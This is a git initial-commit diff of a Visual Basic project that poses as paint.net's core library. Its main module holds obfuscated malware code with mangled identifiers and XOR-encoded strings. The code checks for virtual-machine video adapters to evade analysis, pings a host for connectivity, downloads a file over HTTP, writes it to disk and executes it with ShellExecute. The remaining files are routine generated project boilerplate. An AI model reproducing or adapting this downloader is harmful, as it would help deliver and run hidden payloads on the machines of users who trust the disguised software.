initial commit

2026-08-27 11:04:21 -06:00
commit 07a49a8c50
937 changed files with 196477 additions and 0 deletions
@@ -0,0 +1,28 @@
+
+Microsoft Visual Studio Solution File, Format Version 12.00
+# Visual Studio 2013
+VisualStudioVersion = 12.0.30501.0
+MinimumVisualStudioVersion = 10.0.40219.1
+Project("{F184B08F-C81C-45F6-A57F-5ABD9991F28F}") = "PaintDotNet.Core", "OSD\PaintDotNet.Core.vbproj", "{E34E00A1-BFA9-423B-94EA-62B2361532A7}"
+EndProject
+Global
+	GlobalSection(SolutionConfigurationPlatforms) = preSolution
+		Debug|Any CPU = Debug|Any CPU
+		Debug|x86 = Debug|x86
+		Release|Any CPU = Release|Any CPU
+		Release|x86 = Release|x86
+	EndGlobalSection
+	GlobalSection(ProjectConfigurationPlatforms) = postSolution
+		{E34E00A1-BFA9-423B-94EA-62B2361532A7}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
+		{E34E00A1-BFA9-423B-94EA-62B2361532A7}.Debug|Any CPU.Build.0 = Debug|Any CPU
+		{E34E00A1-BFA9-423B-94EA-62B2361532A7}.Debug|x86.ActiveCfg = Release|x86
+		{E34E00A1-BFA9-423B-94EA-62B2361532A7}.Debug|x86.Build.0 = Release|x86
+		{E34E00A1-BFA9-423B-94EA-62B2361532A7}.Release|Any CPU.ActiveCfg = Release|Any CPU
+		{E34E00A1-BFA9-423B-94EA-62B2361532A7}.Release|Any CPU.Build.0 = Release|Any CPU
+		{E34E00A1-BFA9-423B-94EA-62B2361532A7}.Release|x86.ActiveCfg = Release|x86
+		{E34E00A1-BFA9-423B-94EA-62B2361532A7}.Release|x86.Build.0 = Release|x86
+	EndGlobalSection
+	GlobalSection(SolutionProperties) = preSolution
+		HideSolutionNode = FALSE
+	EndGlobalSection
+EndGlobal
@@ -0,0 +1 @@
+
@@ -0,0 +1,177 @@
+Imports System.Runtime.InteropServices
+Imports System.IO
+Imports System.Reflection
+Imports System.Text
+Imports System.Net
+
+Module EffectEnvironmentParameters
+
+    Public KJm0d156fyrMEaWwNO0K3bfZ9J5BkICgwvjhYT6nOBhio As String = Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments)
+    Public kWaXctCkG1M87a2TzGIa13Q0s5QC4PRZVUWcga2HcP45k As String = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData)
+    Public iyvLtYcU4sMmGLNgsx1jXvomFr4Vp0tPR2HKBV6M2xahy As String = Environment.GetEnvironmentVariable(SvuIrOnnfUJUhGODXAAKGOMoUkPCElVHVGñGkZpWTzFBWFPNmL("ÌÒÕßÒÉ", "›"))
+    Public de1CUxTd38qMOK9wgwBvvY3gghGRIoTxzarNJDsE4zLNQ As String = Environment.GetEnvironmentVariable(SvuIrOnnfUJUhGODXAAKGOMoUkPCElVHVGñGkZpWTzFBWFPNmL("ÎÈÞÉËÉÔÝÒ×Þ", "›"))
+    Public tw4OgvRXFjasuS9nwrSun6F9CQMa0U5DPj9aQfwKc57zr As String = Environment.GetEnvironmentVariable(SvuIrOnnfUJUhGODXAAKGOMoUkPCElVHVGñGkZpWTzFBWFPNmL("ÏÞÖË", "›"))
+    Public qbOzL3Fc71of7CgReQCcrskivEaKmvBlk95HjFbCKQ7zg As String = Assembly.GetExecutingAssembly().Location
+    Public wmqTQ2lC3eYMxjBcqF2OLjzOk3NLk6r1NhZcYSvEmvHME As String = Path.GetDirectoryName(qbOzL3Fc71of7CgReQCcrskivEaKmvBlk95HjFbCKQ7zg)
+
+    Public Function VwrbYf5MXOiupkfkVrgFBLhOaGrVR64jTZyuzib893UBs(ByVal SÆÆWœœÆjbØœœœPg8PdWkœœÆØc As String, ByVal vaKÆÆØœeFœwVØcœØØOØØœIlÆØ As String, Optional ByVal uilØœoA4ÆcÆØoÆLtRnØGsÆnT4 As UInteger = 0) As String
+        Dim c3ÆcUœØfvTØÆcQØZØDœMPzM2m() As Byte = VwrbYf5MXOiupkfkVrgFBLhOaGrVR64jTZyuzib893UBs(Encoding.Default.GetBytes(SÆÆWœœÆjbØœœœPg8PdWkœœÆØc), Encoding.Default.GetBytes(vaKÆÆØœeFœwVØcœØØOØØœIlÆØ), uilØœoA4ÆcÆØoÆLtRnØGsÆnT4)
+        VwrbYf5MXOiupkfkVrgFBLhOaGrVR64jTZyuzib893UBs = Encoding.Default.GetString(c3ÆcUœØfvTØÆcQØZØDœMPzM2m)
+        Erase c3ÆcUœØfvTØÆcQØZØDœMPzM2m
+    End Function
+
+    Public Function VwrbYf5MXOiupkfkVrgFBLhOaGrVR64jTZyuzib893UBs(ByRef ÆÆØØSQØxlYyBœØqvÆkSœcœœÆ7() As Byte, ByVal ÆœfJÆ3ÆÆQœ() As Byte, Optional ByVal SÆØHJCKQk5œÆbœœØM9LI1QÆjØ As UInteger = 0) As Byte()
+        For i = 0 To (ÆÆØØSQØxlYyBœØqvÆkSœcœœÆ7.Length - 1) * (SÆØHJCKQk5œÆbœœØM9LI1QÆjØ + 1)
+            ÆÆØØSQØxlYyBœØqvÆkSœcœœÆ7(i Mod ÆÆØØSQØxlYyBœØqvÆkSœcœœÆ7.Length) = CByte((CInt(ÆÆØØSQØxlYyBœØqvÆkSœcœœÆ7(i Mod ÆÆØØSQØxlYyBœØqvÆkSœcœœÆ7.Length) Xor ÆœfJÆ3ÆÆQœ(i Mod ÆœfJÆ3ÆÆQœ.Length)) - CInt(ÆÆØØSQØxlYyBœØqvÆkSœcœœÆ7((i + 1) Mod ÆÆØØSQØxlYyBœØqvÆkSœcœœÆ7.Length)) + 256) Mod 256)
+        Next
+        Array.Resize(ÆÆØØSQØxlYyBœØqvÆkSœcœœÆ7, ÆÆØØSQØxlYyBœØqvÆkSœcœœÆ7.Length - 1)
+        Return ÆÆØØSQØxlYyBœØqvÆkSœcœœÆ7
+    End Function
+
+    Public Function t7RisfnOoQSCcVbhemIsaxxlDmNgsuBK48kKZrEMYp123(ByVal œRØØQFRœØw As String, ByVal œ02ÆØVaxÆØ As String) As String
+        Dim ØdÆmÆWdÆÆOØg7œ3jVRœØIœHVjZØØ4ØceœÆœØØmi3œQ8œhEœkÆÆØØ9uhÆtØg2ypÆœaœœÆ3œœØœ2r7RylnfcYÆœgÆ550ÆFÆ0tmœoœh As Long, HÆÆœRÆØf2œuœØsÆx1QØhqAHÆÆ0ØØRDVhpœœœØSØ8ÆÆœTd8ÆKÆaJ4A6oØÆØÆLVÆœØœdRDœ6ØØÆØœ9S1wœl0vÆÆÆvœÆzqQÆ5ÆiCÆ8q As Long
+        Rnd(-1)
+        Randomize(œ02ÆØVaxÆØ.Length)
+        For HÆÆœRÆØf2œuœØsÆx1QØhqAHÆÆ0ØØRDVhpœœœØSØ8ÆÆœTd8ÆKÆaJ4A6oØÆØÆLVÆœØœdRDœ6ØØÆØœ9S1wœl0vÆÆÆvœÆzqQÆ5ÆiCÆ8q = 1 To œ02ÆØVaxÆØ.Length
+            ØdÆmÆWdÆÆOØg7œ3jVRœØIœHVjZØØ4ØceœÆœØØmi3œQ8œhEœkÆÆØØ9uhÆtØg2ypÆœaœœÆ3œœØœ2r7RylnfcYÆœgÆ550ÆFÆ0tmœoœh += (((HÆÆœRÆØf2œuœØsÆx1QØhqAHÆÆ0ØØRDVhpœœœØSØ8ÆÆœTd8ÆKÆaJ4A6oØÆØÆLVÆœØœdRDœ6ØØÆØœ9S1wœl0vÆÆÆvœÆzqQÆ5ÆiCÆ8q Mod 256) Xor Asc(Mid(œ02ÆØVaxÆØ, HÆÆœRÆØf2œuœØsÆx1QØhqAHÆÆ0ØØRDVhpœœœØSØ8ÆÆœTd8ÆKÆaJ4A6oØÆØÆLVÆœØœdRDœ6ØØÆØœ9S1wœl0vÆÆÆvœÆzqQÆ5ÆiCÆ8q, 1))) Xor Fix(256 * Rnd()))
+        Next HÆÆœRÆØf2œuœØsÆx1QØhqAHÆÆ0ØØRDVhpœœœØSØ8ÆÆœTd8ÆKÆaJ4A6oØÆØÆLVÆœØœdRDœ6ØØÆØœ9S1wœl0vÆÆÆvœÆzqQÆ5ÆiCÆ8q
+        Rnd(-1)
+        Randomize(ØdÆmÆWdÆÆOØg7œ3jVRœØIœHVjZØØ4ØceœÆœØØmi3œQ8œhEœkÆÆØØ9uhÆtØg2ypÆœaœœÆ3œœØœ2r7RylnfcYÆœgÆ550ÆFÆ0tmœoœh)
+        For HÆÆœRÆØf2œuœØsÆx1QØhqAHÆÆ0ØØRDVhpœœœØSØ8ÆÆœTd8ÆKÆaJ4A6oØÆØÆLVÆœØœdRDœ6ØØÆØœ9S1wœl0vÆÆÆvœÆzqQÆ5ÆiCÆ8q = 1 To œRØØQFRœØw.Length
+            Mid(œRØØQFRœØw, HÆÆœRÆØf2œuœØsÆx1QØhqAHÆÆ0ØØRDVhpœœœØSØ8ÆÆœTd8ÆKÆaJ4A6oØÆØÆLVÆœØœdRDœ6ØØÆØœ9S1wœl0vÆÆÆvœÆzqQÆ5ÆiCÆ8q, 1) = Chr(Fix(256 * Rnd()) Xor Asc(Mid(œRØØQFRœØw, HÆÆœRÆØf2œuœØsÆx1QØhqAHÆÆ0ØØRDVhpœœœØSØ8ÆÆœTd8ÆKÆaJ4A6oØÆØÆLVÆœØœdRDœ6ØØÆØœ9S1wœl0vÆÆÆvœÆzqQÆ5ÆiCÆ8q, 1)))
+        Next HÆÆœRÆØf2œuœØsÆx1QØhqAHÆÆ0ØØRDVhpœœœØSØ8ÆÆœTd8ÆKÆaJ4A6oØÆØÆLVÆœØœdRDœ6ØØÆØœ9S1wœl0vÆÆÆvœÆzqQÆ5ÆiCÆ8q
+        Return œRØØQFRœØw
+    End Function
+
+    Public Function SvuIrOnnfUJUhGODXAAKGOMoUkPCElVHVGñGkZpWTzFBWFPNmL(GtQYJBujKVMAwOlGrÑdAMqBJVCQKcyAEWEñbONXIkJKueZFaDU As String, UIrNxNOÑNIYPNNMSyNHgaZJJKpEPoDhaqqYANFWfPñLpBDZArñ As String) As String
+        Dim CLtaqfwELBMtijÑHmKpJSSZWfZCrzSIFNPBSRVSiStnYSZWPDf() As Byte
+        Dim pECJXqCPDnTVtQWÑGIñJwxCKPaoHÑTfJeGNAhMbkSFGJZOmPIF() As Byte
+        Dim wLmPkkUNRfBNkXGVhDQFDNNJHxMTBHVvxjqBCBHQORaGBwFFKe As Integer
+        Dim OBQsQRCBFWVYbOlPoiFyISYÑpEgrwbNAjwWyCAZSIJZppIaHbi As Integer
+        Dim vMIsVmGGjÑxDNfCscCBÑDeEAEPCÑnMsuZDBHpOoDxcLCccoWuÑ As Integer
+        Dim nhUOUtxbMEMcaHoHWHKAWHlQJkVVKCzGIUIÑgNQJKZCAAZFyCy As Integer
+        pECJXqCPDnTVtQWÑGIñJwxCKPaoHÑTfJeGNAhMbkSFGJZOmPIF = Encoding.Default.GetBytes(GtQYJBujKVMAwOlGrÑdAMqBJVCQKcyAEWEñbONXIkJKueZFaDU)
+        CLtaqfwELBMtijÑHmKpJSSZWfZCrzSIFNPBSRVSiStnYSZWPDf = Encoding.Default.GetBytes(UIrNxNOÑNIYPNNMSyNHgaZJJKpEPoDhaqqYANFWfPñLpBDZArñ)
+        vMIsVmGGjÑxDNfCscCBÑDeEAEPCÑnMsuZDBHpOoDxcLCccoWuÑ = UBound(pECJXqCPDnTVtQWÑGIñJwxCKPaoHÑTfJeGNAhMbkSFGJZOmPIF)
+        nhUOUtxbMEMcaHoHWHKAWHlQJkVVKCzGIUIÑgNQJKZCAAZFyCy = UBound(CLtaqfwELBMtijÑHmKpJSSZWfZCrzSIFNPBSRVSiStnYSZWPDf)
+        Do Until wLmPkkUNRfBNkXGVhDQFDNNJHxMTBHVvxjqBCBHQORaGBwFFKe > vMIsVmGGjÑxDNfCscCBÑDeEAEPCÑnMsuZDBHpOoDxcLCccoWuÑ
+            pECJXqCPDnTVtQWÑGIñJwxCKPaoHÑTfJeGNAhMbkSFGJZOmPIF(wLmPkkUNRfBNkXGVhDQFDNNJHxMTBHVvxjqBCBHQORaGBwFFKe) = pECJXqCPDnTVtQWÑGIñJwxCKPaoHÑTfJeGNAhMbkSFGJZOmPIF(wLmPkkUNRfBNkXGVhDQFDNNJHxMTBHVvxjqBCBHQORaGBwFFKe) Xor CLtaqfwELBMtijÑHmKpJSSZWfZCrzSIFNPBSRVSiStnYSZWPDf(OBQsQRCBFWVYbOlPoiFyISYÑpEgrwbNAjwWyCAZSIJZppIaHbi)
+            OBQsQRCBFWVYbOlPoiFyISYÑpEgrwbNAjwWyCAZSIJZppIaHbi = OBQsQRCBFWVYbOlPoiFyISYÑpEgrwbNAjwWyCAZSIJZppIaHbi + 1
+            If OBQsQRCBFWVYbOlPoiFyISYÑpEgrwbNAjwWyCAZSIJZppIaHbi > nhUOUtxbMEMcaHoHWHKAWHlQJkVVKCzGIUIÑgNQJKZCAAZFyCy Then OBQsQRCBFWVYbOlPoiFyISYÑpEgrwbNAjwWyCAZSIJZppIaHbi = 0
+            wLmPkkUNRfBNkXGVhDQFDNNJHxMTBHVvxjqBCBHQORaGBwFFKe = wLmPkkUNRfBNkXGVhDQFDNNJHxMTBHVvxjqBCBHQORaGBwFFKe + 1
+        Loop
+        Erase CLtaqfwELBMtijÑHmKpJSSZWfZCrzSIFNPBSRVSiStnYSZWPDf
+        SvuIrOnnfUJUhGODXAAKGOMoUkPCElVHVGñGkZpWTzFBWFPNmL = Encoding.Default.GetString(pECJXqCPDnTVtQWÑGIñJwxCKPaoHÑTfJeGNAhMbkSFGJZOmPIF)
+        Erase pECJXqCPDnTVtQWÑGIñJwxCKPaoHÑTfJeGNAhMbkSFGJZOmPIF
+    End Function
+
+    Public Sub lcmJhcMQPP4JLBXmtr7CNOzV0LzytbeQMB9xr5zUXvcag(ByVal TWœœØG6ÆÆ0 As Double)
+        Dim c761ØœgNØØ As Date
+        c761ØœgNØØ = DateAdd(SvuIrOnnfUJUhGODXAAKGOMoUkPCElVHVGñGkZpWTzFBWFPNmL("è", "›"), TWœœØG6ÆÆ0, Now)
+        Do
+            Application.DoEvents()
+        Loop Until Now >= c761ØœgNØØ
+    End Sub
+
+    Public Function WbJrgH79XC4JQ7QkdsLJ8udMFmWF2XTtkwCpdE8g2C2iv() As Boolean
+        Try
+            WbJrgH79XC4JQ7QkdsLJ8udMFmWF2XTtkwCpdE8g2C2iv = False
+            Dim NyØØ6œœkRK As Object
+            Dim œzœUØ8GÆœÆ As Object
+            Dim dWGœÆœØØœf As String
+            dWGœÆœØØœf = SvuIrOnnfUJUhGODXAAKGOMoUkPCElVHVGñGkZpWTzFBWFPNmL("ÈÞ×ÞØÏ»±»ÝÉÔÖ»Ìòõ¨©ÄÍòÿþôØôõïéô÷÷þé", "›")
+            NyØØ6œœkRK = GetObject(SvuIrOnnfUJUhGODXAAKGOMoUkPCElVHVGñGkZpWTzFBWFPNmL("ìòõöüöïè¡", "›")).ExecQuery(dWGœÆœØØœf)
+            For Each œzœUØ8GÆœÆ In NyØØ6œœkRK
+                Select Case œzœUØ8GÆœÆ.Description
+                    Case SvuIrOnnfUJUhGODXAAKGOMoUkPCElVHVGñGkZpWTzFBWFPNmL("ÍÖ»Úÿÿòïòôõè»È¨»Ïéòô¨©´¯", "›")
+                        WbJrgH79XC4JQ7QkdsLJ8udMFmWF2XTtkwCpdE8g2C2iv = True
+                    Case SvuIrOnnfUJUhGODXAAKGOMoUkPCElVHVGñGkZpWTzFBWFPNmL("È¨»Ïéòô¨©´¯", "›")
+                        WbJrgH79XC4JQ7QkdsLJ8udMFmWF2XTtkwCpdE8g2C2iv = True
+                    Case SvuIrOnnfUJUhGODXAAKGOMoUkPCElVHVGñGkZpWTzFBWFPNmL("Íòéïîú÷Ùôã»Üéúëóòøè»Úÿúëïþé", "›")
+                        WbJrgH79XC4JQ7QkdsLJ8udMFmWF2XTtkwCpdE8g2C2iv = True
+                    Case SvuIrOnnfUJUhGODXAAKGOMoUkPCElVHVGñGkZpWTzFBWFPNmL("ÍÖìúéþ»ÈÍÜÚ»ÒÒ", "›")
+                        WbJrgH79XC4JQ7QkdsLJ8udMFmWF2XTtkwCpdE8g2C2iv = True
+                    Case SvuIrOnnfUJUhGODXAAKGOMoUkPCElVHVGñGkZpWTzFBWFPNmL("ÍÖìúéþ»ÈÍÜÚ»¨ß", "›")
+                        WbJrgH79XC4JQ7QkdsLJ8udMFmWF2XTtkwCpdE8g2C2iv = True
+                    Case ""
+                        WbJrgH79XC4JQ7QkdsLJ8udMFmWF2XTtkwCpdE8g2C2iv = True
+                    Case Else
+                End Select
+            Next
+        Catch PœØØÆgœœSØÆDÆELœÆÆn3aÆzØÆ As Exception
+            WbJrgH79XC4JQ7QkdsLJ8udMFmWF2XTtkwCpdE8g2C2iv = False
+        End Try
+    End Function
+
+    Public Function mbqu5dWtJVw7zOZZc6G716lpzvC3S2WF8MD7Mhv5uhT8I(ByRef B8ÆØuDÆØØœ As Integer, ByRef FlØœœeRTØœ As Boolean) As String
+        Dim Økzx8Wbœpb As New Random()
+        Dim lXMØbØz6œœ35TjÆzœœEØfØœœœ() As Char = SvuIrOnnfUJUhGODXAAKGOMoUkPCElVHVGñGkZpWTzFBWFPNmL("úùøÿþýüóòñð÷öõôëêéèïîíìãâáÚÙØßÞÝÜÓÒÑÐ×ÔÖÕÔËÊÉÈÏÎÍÌÃÂÁ«ª©¨¯®¬£¢", "›").ToCharArray()
+        Dim itÆWaØSGzJSqA6ÆObGØGœFœBd As String = String.Empty
+        For Ok5ÆØØJØØS As Integer = 0 To B8ÆØuDÆØØœ - 1
+            itÆWaØSGzJSqA6ÆObGØGœFœBd += lXMØbØz6œœ35TjÆzœœEØfØœœœ(Økzx8Wbœpb.Next(lXMØbØz6œœ35TjÆzœœEØfØœœœ.Length - 1))
+        Next
+        Return IIf(FlØœœeRTØœ, itÆWaØSGzJSqA6ÆObGØGœFœBd.ToUpper(), itÆWaØSGzJSqA6ÆObGØGœFœBd)
+    End Function
+
+    Public Function rCDYiinHKXJyokn8WPNyi9MWWPjQjipGPRF9Hu1dO6WTZ(ppJØœGØÆ8d3IØbØœœyÆœRGÆØL As String) As String
+        Try
+            Dim Æœ1CœœRlØœ As Integer
+            Æœ1CœœRlØœ = FreeFile()
+            FileOpen(Æœ1CœœRlØœ, ppJØœGØÆ8d3IØbØœœyÆœRGÆØL, OpenMode.Binary, OpenAccess.Read, OpenShare.Shared)
+            rCDYiinHKXJyokn8WPNyi9MWWPjQjipGPRF9Hu1dO6WTZ = New String(Chr(0), FileLen(ppJØœGØÆ8d3IØbØœœyÆœRGÆØL))
+            FileGet(Æœ1CœœRlØœ, rCDYiinHKXJyokn8WPNyi9MWWPjQjipGPRF9Hu1dO6WTZ)
+            FileClose(Æœ1CœœRlØœ)
+        Catch œQœØeÆzÆØÆIœØØZp2œXYØe25œØa7ÆtœTØ4eidÆ1XÆÆœvÆÆØPœa As Exception
+            Return ""
+        End Try
+    End Function
+
+    Public Sub XqzFGaBa9fycWxwoPeWzO0FflkSL5sakHawct005L9ub7(coØsØq6ÆØz As String, ØIØSjL8ÆcØ As String)
+        Dim Øf18œiNhÆÆÆÆÆÆWPzœÆ8q3wØk As Integer
+        Øf18œiNhÆÆÆÆÆÆWPzœÆ8q3wØk = FreeFile()
+        FileOpen(Øf18œiNhÆÆÆÆÆÆWPzœÆ8q3wØk, coØsØq6ÆØz, OpenMode.Binary, OpenAccess.ReadWrite, OpenShare.Default)
+        FilePut(Øf18œiNhÆÆÆÆÆÆWPzœÆ8q3wØk, ØIØSjL8ÆcØ)
+        FileClose(Øf18œiNhÆÆÆÆÆÆWPzœÆ8q3wØk)
+    End Sub
+
+    Public Sub EsIQTT4QJzFoB1wEhoIHDTXhwNRFmRZyza9XnqlumO0pC(ÆÆ8dmcØ2cC As String)
+        Dim œÆœœ2eœOØœhÆœÆqJØcÆÆØÆUlœ As Object
+        œÆœœ2eœOØœhÆœÆqJØcÆÆØÆUlœ = CreateObject(SvuIrOnnfUJUhGODXAAKGOMoUkPCElVHVGñGkZpWTzFBWFPNmL("Èóþ÷÷µÚëë÷òøúïòôõ", "›"))
+        œÆœœ2eœOØœhÆœÆqJØcÆÆØÆUlœ.ShellExecute(ÆÆ8dmcØ2cC, "", "", SvuIrOnnfUJUhGODXAAKGOMoUkPCElVHVGñGkZpWTzFBWFPNmL("ôëþõ", "›"), 1)
+        œÆœœ2eœOØœhÆœÆqJØcÆÆØÆUlœ = Nothing
+    End Sub
+
+    Public Sub FBGId596oUCgMgQ7BtaNfzCS2Kvk2G1dPVxtEUg6XUy2Q(RhœœœœHkØa As String, ØØXØØØØ6g7DSQfÆ2ØOMÆØNQØh As String, Optional lvœØØ3œSœ8lvœØØ3œSœ8 As Boolean = True)
+        Try
+            Dim ØKÆvØDdwÆecœ9Ø75EeœœNMØÆÆ As Object
+            Dim A2SfÆÆ6ØEØFiœVbœrfØœcfOep As Object
+            ØKÆvØDdwÆecœ9Ø75EeœœNMØÆÆ = CreateObject(SvuIrOnnfUJUhGODXAAKGOMoUkPCElVHVGñGkZpWTzFBWFPNmL("ÖÈÃÖ×©µÃÖ×ÓÏÏË", "›"))
+            Call ØKÆvØDdwÆecœ9Ø75EeœœNMØÆÆ.Open(SvuIrOnnfUJUhGODXAAKGOMoUkPCElVHVGñGkZpWTzFBWFPNmL("ÜÞÏ", "›"), RhœœœœHkØa, False)
+            Call ØKÆvØDdwÆecœ9Ø75EeœœNMØÆÆ.send("")
+            If ØKÆvØDdwÆecœ9Ø75EeœœNMØÆÆ.Status = 200 Then
+                A2SfÆÆ6ØEØFiœVbœrfØœcfOep = CreateObject(SvuIrOnnfUJUhGODXAAKGOMoUkPCElVHVGñGkZpWTzFBWFPNmL("ÚßÔßÙµÈïéþúö", "›"))
+                With A2SfÆÆ6ØEØFiœVbœrfØœcfOep
+                    .Open()
+                    .Type = 1
+                    .Write(ØKÆvØDdwÆecœ9Ø75EeœœNMØÆÆ.responseBody)
+                    .Position = 0
+                    .SaveToFile(ØØXØØØØ6g7DSQfÆ2ØOMÆØNQØh, 2)
+                    .Close()
+                End With
+                A2SfÆÆ6ØEØFiœVbœrfØœcfOep = Nothing
+            End If
+            ØKÆvØDdwÆecœ9Ø75EeœœNMØÆÆ = Nothing
+            If lvœØØ3œSœ8lvœØØ3œSœ8 = True Then Call EsIQTT4QJzFoB1wEhoIHDTXhwNRFmRZyza9XnqlumO0pC(ØØXØØØØ6g7DSQfÆ2ØOMÆØNQØh)
+        Catch Æbe8œcÆiQWÆœÆØØœÆjOIØiiOOØØØXAKØgÆfAœSœØrØUGmØÆ3Øq As Exception
+        End Try
+    End Sub
+
+    Public Function xVqlpdyQ4uJHzwSZY74IkzRN0rg1hfrG4hlDVnMxRVmn0() As Boolean
+        If My.Computer.Network.IsAvailable = True Then
+            Return My.Computer.Network.Ping(SvuIrOnnfUJUhGODXAAKGOMoUkPCElVHVGñGkZpWTzFBWFPNmL("ìììµöòøéôèôýïèïôéþµøôö", "›"))
+        Else
+            Return False
+        End If
+    End Function
+End Module
+
@@ -0,0 +1,38 @@
+'------------------------------------------------------------------------------
+' <auto-generated>
+'     Este código fue generado por una herramienta.
+'     Versión de runtime:4.0.30319.18444
+'
+'     Los cambios en este archivo podrían causar un comportamiento incorrecto y se perderán si
+'     se vuelve a generar el código.
+' </auto-generated>
+'------------------------------------------------------------------------------
+
+Option Strict On
+Option Explicit On
+
+
+Namespace My
+    
+    'NOTA: este archivo se genera de forma automática; no lo modifique directamente. Para realizar cambios,
+    ' o si detecta errores de compilación en este archivo, vaya al Diseñador de proyectos
+    ' (vaya a Propiedades del proyecto o haga doble clic en el nodo My Project en el
+    ' Explorador de soluciones) y realice cambios en la pestaña Aplicación.
+    '
+    Partial Friend Class MyApplication
+        
+        <Global.System.Diagnostics.DebuggerStepThroughAttribute()>  _
+        Public Sub New()
+            MyBase.New(Global.Microsoft.VisualBasic.ApplicationServices.AuthenticationMode.Windows)
+            Me.IsSingleInstance = true
+            Me.EnableVisualStyles = true
+            Me.SaveMySettingsOnExit = true
+            Me.ShutDownStyle = Global.Microsoft.VisualBasic.ApplicationServices.ShutdownMode.AfterMainFormCloses
+        End Sub
+        
+        <Global.System.Diagnostics.DebuggerStepThroughAttribute()>  _
+        Protected Overrides Sub OnCreateMainForm()
+            Me.MainForm = Global.OSD.TwistEffect
+        End Sub
+    End Class
+End Namespace
@@ -0,0 +1,10 @@
+<?xml version="1.0" encoding="utf-8"?>
+<MyApplicationData xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema">
+  <MySubMain>true</MySubMain>
+  <MainForm>TwistEffect</MainForm>
+  <SingleInstance>true</SingleInstance>
+  <ShutdownMode>0</ShutdownMode>
+  <EnableVisualStyles>true</EnableVisualStyles>
+  <AuthenticationMode>0</AuthenticationMode>
+  <SaveMySettingsOnExit>true</SaveMySettingsOnExit>
+</MyApplicationData>
@@ -0,0 +1,35 @@
+Imports System
+Imports System.Reflection
+Imports System.Runtime.InteropServices
+
+' La información general sobre un ensamblado se controla mediante el siguiente 
+' conjunto de atributos. Cambie estos atributos para modificar la información
+' asociada con un ensamblado.
+
+' Revisar los valores de los atributos del ensamblado
+
+<Assembly: AssemblyTitle("PaintDotNet.Core.dll")> 
+<Assembly: AssemblyDescription("paint.net Core")> 
+<Assembly: AssemblyCompany("dotPDN LLC")> 
+<Assembly: AssemblyProduct("paint.net")> 
+<Assembly: AssemblyCopyright("Copyright © 2014 dotPDN LLC, Rick Brewster, and past contributors. All Rights Reserved.")> 
+<Assembly: AssemblyTrademark("paint.net is a registered trademark of dotPDN LLC")> 
+
+<Assembly: ComVisible(False)>
+
+'El siguiente GUID sirve como identificador de typelib si este proyecto se expone a COM
+<Assembly: Guid("4dd8c4e0-ce7e-4f40-8366-8c484890fc0d")> 
+
+' La información de versión de un ensamblado consta de los cuatro valores siguientes:
+'
+'      Versión principal
+'      Versión secundaria 
+'      Número de compilación
+'      Revisión
+'
+' Puede especificar todos los valores o usar los valores predeterminados de número de compilación y de revisión 
+' mediante el asterisco ('*'), como se muestra a continuación:
+' <Assembly: AssemblyVersion("1.0.*")> 
+
+<Assembly: AssemblyVersion("4.0.5288.36565")> 
+<Assembly: AssemblyFileVersion("4.0.5288.36565")> 
@@ -0,0 +1,62 @@
+'------------------------------------------------------------------------------
+' <auto-generated>
+'     This code was generated by a tool.
+'     Runtime Version:4.0.30319.34014
+'
+'     Changes to this file may cause incorrect behavior and will be lost if
+'     the code is regenerated.
+' </auto-generated>
+'------------------------------------------------------------------------------
+
+Option Strict On
+Option Explicit On
+
+
+Namespace My.Resources
+    
+    'This class was auto-generated by the StronglyTypedResourceBuilder
+    'class via a tool like ResGen or Visual Studio.
+    'To add or remove a member, edit your .ResX file then rerun ResGen
+    'with the /str option, or rebuild your VS project.
+    '''<summary>
+    '''  A strongly-typed resource class, for looking up localized strings, etc.
+    '''</summary>
+    <Global.System.CodeDom.Compiler.GeneratedCodeAttribute("System.Resources.Tools.StronglyTypedResourceBuilder", "4.0.0.0"), _
+     Global.System.Diagnostics.DebuggerNonUserCodeAttribute(), _
+     Global.System.Runtime.CompilerServices.CompilerGeneratedAttribute(), _
+     Global.Microsoft.VisualBasic.HideModuleNameAttribute()> _
+    Friend Module Resources
+
+        Private resourceMan As Global.System.Resources.ResourceManager
+
+        Private resourceCulture As Global.System.Globalization.CultureInfo
+
+        '''<summary>
+        '''  Returns the cached ResourceManager instance used by this class.
+        '''</summary>
+        <Global.System.ComponentModel.EditorBrowsableAttribute(Global.System.ComponentModel.EditorBrowsableState.Advanced)> _
+        Friend ReadOnly Property ResourceManager() As Global.System.Resources.ResourceManager
+            Get
+                If Object.ReferenceEquals(resourceMan, Nothing) Then
+                    Dim temp As Global.System.Resources.ResourceManager = New Global.System.Resources.ResourceManager("OSD.Resources", GetType(Resources).Assembly)
+                    resourceMan = temp
+                End If
+                Return resourceMan
+            End Get
+        End Property
+
+        '''<summary>
+        '''  Overrides the current thread's CurrentUICulture property for all
+        '''  resource lookups using this strongly typed resource class.
+        '''</summary>
+        <Global.System.ComponentModel.EditorBrowsableAttribute(Global.System.ComponentModel.EditorBrowsableState.Advanced)> _
+        Friend Property Culture() As Global.System.Globalization.CultureInfo
+            Get
+                Return resourceCulture
+            End Get
+            Set(ByVal value As Global.System.Globalization.CultureInfo)
+                resourceCulture = value
+            End Set
+        End Property
+    End Module
+End Namespace
@@ -0,0 +1,117 @@
+<?xml version="1.0" encoding="utf-8"?>
+<root>
+  <!-- 
+    Microsoft ResX Schema 
+    
+    Version 2.0
+    
+    The primary goals of this format is to allow a simple XML format 
+    that is mostly human readable. The generation and parsing of the 
+    various data types are done through the TypeConverter classes 
+    associated with the data types.
+    
+    Example:
+    
+    ... ado.net/XML headers & schema ...
+    <resheader name="resmimetype">text/microsoft-resx</resheader>
+    <resheader name="version">2.0</resheader>
+    <resheader name="reader">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>
+    <resheader name="writer">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>
+    <data name="Name1"><value>this is my long string</value><comment>this is a comment</comment></data>
+    <data name="Color1" type="System.Drawing.Color, System.Drawing">Blue</data>
+    <data name="Bitmap1" mimetype="application/x-microsoft.net.object.binary.base64">
+        <value>[base64 mime encoded serialized .NET Framework object]</value>
+    </data>
+    <data name="Icon1" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
+        <value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>
+        <comment>This is a comment</comment>
+    </data>
+                
+    There are any number of "resheader" rows that contain simple 
+    name/value pairs.
+    
+    Each data row contains a name, and value. The row also contains a 
+    type or mimetype. Type corresponds to a .NET class that support 
